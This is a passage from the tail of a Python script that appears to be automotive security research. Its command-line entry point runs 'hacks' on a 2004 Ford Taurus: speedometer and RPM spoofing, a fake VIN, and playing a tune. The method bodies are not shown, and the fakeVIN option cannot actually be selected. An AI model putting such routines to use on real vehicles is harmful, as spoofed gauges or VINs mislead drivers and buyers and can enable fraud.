875             while (time.time()-starttime < .2):
876                 self.multiPacketSpit(packet0rts=True)
877
878 #for foo in byte:
879 #  print "%d" %ord(foo)
880
881 #39.27
882 #113
883
884
885
886
887
888 # read in 26 frames
889 # average them
890 # normalize to our range of values (conversion 1.6167*x-63.5
891 # x --> 0 to 120
892
893 #sample width = 2??
894 #number of frames: 7133184 
895 #number of channels: 2 
896 #sample width: 2 --> 2 bytes per sample
897 #framerate: 44100 
898
899
900
901     
902         
903 if __name__ == "__main__":
904     
905     parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\
906
907     Run Hacks on a Ford taurus 2004:
908         
909             speedometerHack
910             fakeVIN
911             rpmHack
912         ''')
913     parser.add_argument('verb', choices=['speedometerHack', 'rpmHack', 'thefifth']);
914     parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None);
915
916
917     args = parser.parse_args();
918     inputs = args.variable
919     fe = FordExperiments("../../contrib/ThayerData/");
920     
921     if( args.verb == 'speedometerHack'):
922         fe.speedometerHack(inputs=inputs)
923     if( args.verb == 'rpmHack'):
924         fe.rpmHack(inputs=inputs)
925     elif( args.verb == 'fakeVIN'):
926         fe.fakeVIN()
927     elif( args.verb == 'thefifth'):
928         fe.imbeethovenbitch()
929         
930